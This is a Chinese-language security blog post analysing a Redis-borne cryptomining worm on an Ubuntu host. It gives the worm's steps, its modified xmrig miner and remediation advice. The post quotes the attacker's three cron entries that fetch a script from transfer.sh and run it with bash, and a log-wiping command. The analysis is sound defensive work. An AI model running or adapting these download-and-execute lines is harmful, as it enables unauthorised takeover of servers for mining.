當前位置:
首頁 > 最新 > Linux系統之Redis擴散病毒繼續分析

Linux系統之Redis擴散病毒繼續分析

印象中,從2017年下半年開始,感覺挖礦事件層出不窮。只要有客戶的網路系統發生異常報告,基本都是從CPU發生異常開始。現在只要聽到客戶報告其主機系統出現異常,我們的第一反應就是,是不是又是「挖礦」啊?還真的是,到了現場一看,確實,恭喜「親」,你又成為辛勤奉獻、任勞任怨的苦力小礦工了。


一、系統環境

操作系統:Ubuntu

內核:Linux4.4.0-57-generic x86_64

該主機對外開放兩個埠,分別是22埠(SSH-2.0-OpenSSH_7.2p2)、80埠(nginx/1.4.6)。經過分析,發現80埠的日誌和目錄、文件基本沒有異常,22埠也沒有其他異常情況。


通過本地分析,發現一堆由pnscan進程發出去的6379埠網路掃描行為,判斷應該是針對redis的病毒掃描程序。

另外,還有兩個名為gpg的進程佔用很高的CPU,並且對外有網路鏈接。

此外,還發現該主機竟然開放redis服務,而且綁定地址已經修改為127.0.0.1:6379。哇,小夥伴安全意識蠻到位的嘛,竟然會加固redis安全了。可是通過和客戶磋商,其確實有安裝redis服務,可是上面並沒有跑業務數據,而且只用於學習開發,也僅僅是默認安裝,並沒有做任何安全設置。

好吧,看來,初步判斷應該是通過redis入侵主機系統。

於是登錄 redis控制台,輸入keys *命令(反正沒有業務系統,呵呵,不怕數據多的讓你掛掉),發現創建了三個Key,分別名為Backup1、Backup2和Backup3。

其內容分別如下:

Backup1: */2 * * * * curl -shttps://transfer.sh/GoZkF/tmp.DoRh9YAdFi > .cmd && bash .cmd

Backup2: */5 * * * * wget -O .cmd https://transfer.sh/GoZkF/tmp.DoRh9YAdFi&& bash .cmd

Backup3: */10 * * * * lynx -sourcehttps://transfer.sh/15TRyl/tmp.pCnR6is0Gm > .cmd && bash .cmd

確定了,就是通過redis未授權訪問漏洞入侵的系統。接下來看看具體的惡意腳本和文檔,看看攻擊者到底想幹嘛?


剛開始還以為transfer.sh又是攻擊者申請用來幹壞事的域名。呵呵,大家別笑俺孤陋寡聞,以前真不知道,沒有用過transfer.sh服務。

打開其主頁,發現其竟然提供的是正常的服務,該網站提供黑屏下文件共享的方式(命令行式文件分享網),經過細看,哇塞,竟然在黑屏下提供了上傳、下載文件的功能,用戶可直接通過命令行工具把文件上傳到該網站,網站生成該文件下載連接url,可供其他用戶下載。其功能還蠻強大的,根據介紹,其特徵包括:命令行下使用/url共享鏈接/上傳最大10gb/文件保存14天/免費/加密/無限次數下載等,如上圖所示。哇哇,這網站tmd真是無私奉獻啊,令人肅然起敬。對用戶來說,提供了多少便利。知道了此網站的存在和用法,也是本次病毒分析的一大收穫了,呵呵。

話說回來,對該網站最愛的應該是黑客了吧,簡單,還提供了免費的域名(中轉站)。命令行下直接使用,無需驗證,感覺這個網站的所有者是否就是黑客出身(妄測一下),太貼合需求了。


從上述Backup裡面包含的URL分別下載了tmp.DoRh9YadFi(大小4,853)和tmp.pCnR6is0Gm(大小4,783)文件,發現兩個文件只有極小的差異,完成的功能是一樣的。

腳本很長,很多命令都要重新去查詢,去學習。原來以前都看不清所謂的「腳本小子」,其實這些在LINUX下寫腳本的人真的是太聰明了,很震撼。不過腳本太複雜了,有些地方考慮還是不周,不如許可權的問題、下載的問題、還有pnscan病毒掃描程序的編譯問題等,如果有任何一步出現問題,整個功能就大打折扣了。在實際測試中,我們發現關是利用yum/apt-get下載相應的庫和包就需要漫長的時間,下載的東西太多了,作者想的真全面啊。

具體的內容和解釋如下,如果有些解釋不到位的地方望大家指正,#後面是自己加的注釋。

#休眠一秒

#當前目錄下查找60分鐘之前修改過的名為.mxff0的普通文件,並刪除

#創建 .mxff0文件

#刪除文件

#臨時關閉防火牆,關閉輸出

#關閉selinux

#清除當前cron定時任務

#刪除/var/spool/cron

//設置dns解析為8.8.8.8

#刪除/tmp,/var/tmp下文件和/etc/root.sh

#修改/etc/security/limits.conf文件,limits.conf文件限制著用戶可以使用的最大文件數,最大線程,最大內存等資源使用量

#防火牆修改redis只讓本機訪問

#殺掉包含下列字元串的進程,好瘋狂。

#又刪除/tmp和/var/tmp下的文件

#清除登錄日誌、歷史記錄

echo 0 > /var/spool/mail/root

#下載安裝相應的庫和軟體包

#如果是CentOS系統,用yum下載安裝

#如果是Redhat系統,用yum下載安裝

#如果是Fedora系統,用yum下載安裝

#如果是Ubuntu系統,用apt下載安裝

#如果是Debian系統,用apt下載安裝

#如果是Mint系統,用apt下載安裝(Linux Mint由Linux MintTeam團隊於2006年開始發行,是一份基於Debian和Ubuntu的Linux發行版)

#如果是Knoppix系統,用apt下載安裝(KNOPPIX是一個linux發行版,基於debian,功能包括:自動硬體監測、支持常見的顯卡、音效卡、SCSI和USB設備,以及其它外設)

#如果本地不存在pnscan,則去下載

#解壓、編譯、安裝pnscan

#從transfer.sh下載tmp.Woq2ONMx8z文件

#文件改名、增加執行屬性、運行後刪除(進程為.gpg)

#對redis進行操作,添加定時任務

#利用pnscan進行病毒擴散

#寫入IP地址文件到.ran

#循環掃描 Redis伺服器(目標針對linux)

#如果成果掃到redis伺服器,就利用redis-cli客戶端寫入.dat內容完成病毒感染

#再次清除日誌記錄、登錄歷史等

———————————————————————————————————————————————————————————————————————————

上述腳本中,剛開始有些地方還是沒有弄清楚。

(1)比如作者會在目標機器中下載並安裝redis,如果說安裝redis客戶端還情有可原,畢竟利用pnscan掃描程序的時候,如果有掃描到空口令的redis伺服器,是利用redis-cli去連接並執行命令的。可是為什麼每台主機還要安裝redis-server呢?難道安裝redis-cli必須安裝server?

經過全程分析,最後明白了,作者是禁止了原主機的redis:0.0.0.0:6379埠訪問,重新安裝了一個redis服務並只綁定127.0.0.1:6379埠,從而防止被別的惡意軟體再次侵襲。可是萬一機器主人本來是用來可以內部區域網訪問的咋整呢?唉。


gpy進程發出的鏈接如下圖所示:

直接用編輯軟體打開發現其是xmrig的挖礦軟體(最簡單的就是用文本編輯可以查找到xmrig字元串)。作者對xmrig代碼進行了修改並重新編譯。加參數—version運行,結果如下圖所示:

加參數 –help命令執行。其界面如下圖所示,是典型的xmrig挖礦的界面,只不過作者把文件名修改成了svshost。

實際運行的gyp進程沒有帶任何參數,而我們知道xmrig軟體是帶參數運行的(要麼命令行直接加參數,或者命令行指定參數文件)。那麼參數在哪呢?按常理,肯定是作者直接在程序裡面寫死了。

於是我們直接調用IDA對其進行反編譯,找到作者的參數如下圖所示(實際代碼中,作者還是把字元串分成一個一個字元的形式):

錢包地址為:

佔用CPU最大:50%(還蠻人性的,呵呵)


IP查詢如下圖所示:

域名信息查詢如下如下圖所示:

BS是巴哈馬群島。

猜測該礦池應該是個小礦池或者是一個礦池代理。由於不知道如何查詢其挖礦情況,希望知道的朋友多指教。


1、 重新安裝redis(千萬不要賦予root許可權)服務,根據客戶實際需要對特定IP開放埠(利用防火牆設置,尤其是必須對外(公網)提供服務的情況下),如果只是本機使用,綁定127.0.0.1:6379 ,增加認證口令。

2、 清除定時任務

3、 殺掉進程、刪除實體

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 瘋貓網路 的精彩文章:

在Go中使用反向代理進行網路釣魚測試
看我如何利用Webhook繞過支付請求

TAG:瘋貓網路 |